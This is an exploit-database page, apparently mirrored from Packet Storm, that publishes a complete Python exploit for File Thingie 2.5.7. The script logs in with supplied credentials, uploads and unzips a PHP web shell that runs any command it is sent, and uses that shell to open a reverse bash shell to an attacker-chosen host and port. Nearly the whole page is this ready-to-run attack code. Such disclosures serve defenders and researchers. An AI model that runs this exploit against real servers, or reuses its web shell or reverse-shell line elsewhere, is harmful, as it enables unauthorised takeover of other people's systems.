Lucene search
K

File Thingie 2.5.7 Shell Upload

🗓️ 05 May 2023 00:00:00Reported by Maurice FielenbachType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 316 Views

File Thingie 2.5.7 Shell Upload Remote Code Executio

Code
`#!/usr/bin/python  
  
# Exploit Title: File Thingie 2.5.7 - Remote Code Execution (RCE)  
# Google Dork: N/A  
# Date: 27th of April, 2023  
# Exploit Author: Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)  
# Software Link: https://github.com/leefish/filethingie  
# Version: 2.5.7  
# Tested on: N/A  
# CVE: N/A  
  
# Vulnerability originally discovered / published by Cakes  
# Reference: https://www.exploit-db.com/exploits/47349  
# Run a local listener on your machine and youre good to go  
  
  
import os  
import argparse  
import requests  
import random  
import string  
import zipfile  
from urllib.parse import urlsplit, urlunsplit, quote  
  
  
class Exploit:  
def __init__(self, target, username, password, lhost, lport):  
self.target = target  
self.username = username  
self.password = password  
self.lhost = lhost  
self.lport = lport  
  
def try_login(self) -> bool:  
self.session = requests.Session()  
  
post_body = {"ft_user": f"{self.username}", "ft_pass": f"{self.password}", "act": "dologin"}  
response = self.session.post(self.target, data=post_body)  
  
if response.status_code == 404:  
print(f"[-] 404 Not Found - The requested resource {self.target} was not found")  
return False  
  
elif response.status_code == 200:  
  
if "Invalid username or password" in response.text:  
print(f"Invalid username or password")  
return False  
  
return True  
  
def create_new_folder(self) -> bool:  
# Generate random string  
letters = string.ascii_letters  
self.payload_filename = "".join(random.choice(letters) for i in range(16))  
headers = {"Content-Type": "application/x-www-form-urlencoded"}  
post_body = {f"type": "folder", "newdir": f"{self.payload_filename}", "act": "createdir", "dir": "", "submit" :"Ok"}  
  
print(f"[*] Creating new folder /{self.payload_filename}")  
response = self.session.post(self.target, headers=headers, data=post_body)  
  
if f"index.php?dir=/{self.payload_filename}" in response.text:  
print(f"[+] Created new folder /{self.payload_filename}")  
return True  
  
else:  
print(f"[-] Could not create new folder /{self.payload_filename}")  
return False  
  
def create_payload(self) -> bool:  
try:  
with zipfile.ZipFile(f"{self.payload_filename}.zip", 'w', compression=zipfile.ZIP_DEFLATED) as zip_file:  
zip_file.writestr(f"{self.payload_filename}.php", "<?php if(isset($_REQUEST[\'cmd\'])){ echo \"<pre>\"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo \"</pre>\"; die; }?>")  
print(f"[+] Zipped payload to {self.payload_filename}.zip")  
return True  
except:  
print(f"[-] Could not create payload to {self.payload_filename}.zip")  
return False  
  
def upload_payload(self) -> bool:  
# Set up the HTTP headers and data for the request  
headers = {  
b'Content-Type': b'multipart/form-data; boundary=---------------------------grimlockx'  
}  
  
post_body = (  
'-----------------------------grimlockx\r\n'  
'Content-Disposition: form-data; name="localfile-1682513975953"; filename=""\r\n'  
'Content-Type: application/octet-stream\r\n\r\n'  
)  
  
post_body += (  
'\r\n-----------------------------grimlockx\r\n'  
'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n'  
'2000000\r\n'  
'-----------------------------grimlockx\r\n'  
f'Content-Disposition: form-data; name="localfile"; filename="{self.payload_filename}.zip"\r\n'  
'Content-Type: application/zip\r\n\r\n'  
)  
  
# Read the zip file contents and append them to the data  
with open(f"{self.payload_filename}.zip", "rb") as f:  
post_body += ''.join(map(chr, f.read()))  
  
post_body += (  
'\r\n-----------------------------grimlockx\r\n'  
'Content-Disposition: form-data; name="act"\r\n\r\n'  
'upload\r\n'  
'-----------------------------grimlockx\r\n'  
'Content-Disposition: form-data; name="dir"\r\n\r\n'  
f'/{self.payload_filename}\r\n'  
'-----------------------------grimlockx\r\n'  
'Content-Disposition: form-data; name="submit"\r\n\r\n'  
'Upload\r\n'  
'-----------------------------grimlockx--\r\n'  
)  
  
print("[*] Uploading payload to the target")  
  
response = self.session.post(self.target, headers=headers, data=post_body)  
  
if f"<a href=\"./{self.payload_filename}/{self.payload_filename}.zip\" title=\"Show {self.payload_filename}.zip\">{self.payload_filename}.zip</a>" in response.text:  
print("[+] Uploading payload successful")  
return True  
  
else:   
print("[-] Uploading payload failed")  
return False  
  
def get_base_url(self) -> str:  
url_parts = urlsplit(self.target)  
path_parts = url_parts.path.split('/')  
path_parts.pop()  
base_url = urlunsplit((url_parts.scheme, url_parts.netloc, '/'.join(path_parts), "", ""))  
return base_url  
  
def unzip_payload(self) -> bool:  
print("[*] Unzipping payload")  
headers = {"Content-Type": "application/x-www-form-urlencoded"}  
post_body = {"newvalue": f"{self.payload_filename}.zip", "file": f"{self.payload_filename}.zip", "dir": f"/{self.payload_filename}", "act": "unzip"}  
response = self.session.post(f"{self.target}", headers=headers, data=post_body)  
  
if f"<p class='ok'>{self.payload_filename}.zip unzipped.</p>" in response.text:  
print("[+] Unzipping payload successful")  
print(f"[+] You can now execute commands by opening {self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd=<command>")  
return True  
  
else:   
print("[-] Unzipping payload failed")  
return False  
  
def execute_payload(self) -> bool:  
print("[*] Trying the get a reverse shell")  
  
cmd = quote(f"php -r \'$sock=fsockopen(\"{self.lhost}\",{self.lport});system(\"/bin/bash <&3 >&3 2>&3\");\'")  
print("[*] Executing payload")  
  
response = self.session.get(f"{self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd={cmd}")  
print("[+] Exploit complete")  
  
return True  
  
def cleanup_local_files(self) -> bool:  
if os.path.exists(f"{self.payload_filename}.zip"):  
os.remove(f"{self.payload_filename}.zip")  
print("[+] Cleaned up zipped payload on local machine")  
return True  
  
print("[-] Could not clean up zipped payload on local machine")  
return False  
  
  
if __name__ == "__main__":  
parser = argparse.ArgumentParser()  
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target URL to ft2.php")  
parser.add_argument("-u", "--username", dest="username", type=str, required=True, help="FileThingie username")  
parser.add_argument("-p", "--password", dest="password", type=str, required=True, help="FileThingie password")  
parser.add_argument("-L", "--LHOST", dest="lhost", type=str, required=True, help="Local listener ip")  
parser.add_argument("-P", "-LPORT", dest="lport", type=int, required=True, help="Local listener port")  
args = parser.parse_args()  
  
exploit = Exploit(args.target, args.username, args.password, args.lhost, args.lport)  
exploit.try_login()  
exploit.create_new_folder()  
exploit.create_payload()  
exploit.upload_payload()  
exploit.unzip_payload()  
exploit.execute_payload()  
exploit.cleanup_local_files()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation